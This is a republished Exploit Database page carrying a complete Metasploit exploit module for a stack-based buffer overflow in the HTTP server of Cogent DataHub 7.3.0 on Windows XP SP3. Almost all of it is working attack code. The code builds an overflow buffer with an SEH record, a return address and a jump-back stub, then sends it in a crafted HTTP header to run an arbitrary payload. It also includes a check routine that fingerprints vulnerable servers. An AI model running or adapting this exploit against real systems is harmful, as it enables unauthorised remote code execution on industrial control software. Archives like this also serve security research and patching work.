Cogent DataHub – HTTP Server Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-08-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27704/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Cogent DataHub HTTP Server Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
  vulnerability exists in the HTTP server - while handling HTTP headers, a
  strncpy() function is used in a dangerous way. This module has been tested
  successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
  },
  'Author' =>
  [
  'rgod <rgod[at]autistici.org>',# Vulnerability discovery
  'juan vazquez', # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'OSVDB', '95819'],
  [ 'BID', '53455'],
  [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
  [ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process',
  },
  'Privileged' => false,
  'Payload'=>
  {
  'Space' => 33692,
  'DisableNops' => true,
  'BadChars'=> "\x00\x0d\x0a\x3a"
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # Tested with the Cogent DataHub 7.3.0 Demo
  # CogentDataHubV7.exe 7.3.0.70
  ['Windows XP SP3 English / Cogent DataHub 7.3.0',
  {
  'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
  'Offset'=> 33692,
  'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
  }
  ],
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jul 26 2013'
  ))
  
  end
  
  def check
  res = send_request_cgi({
  'uri'=> "/datahub.asp",
  'method' => 'GET',
  })
  
  if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
  return Exploit::CheckCode::Detected
  end
  
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  print_status("Trying target #{target.name}...")
  
  off = target['Offset'] + 8 # 8 => length of the seh_record
  bof = payload.encoded
  bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
  bof << generate_seh_record(target.ret)
  bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
  bof << rand_text(target['CrashLength'])
  
  print_status("Sending request to #{rhost}:#{rport}")
  
  send_request_cgi({
  'uri'=> "/",
  'method' => 'GET',
  'raw_headers'=> "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
  })
  
  end
  end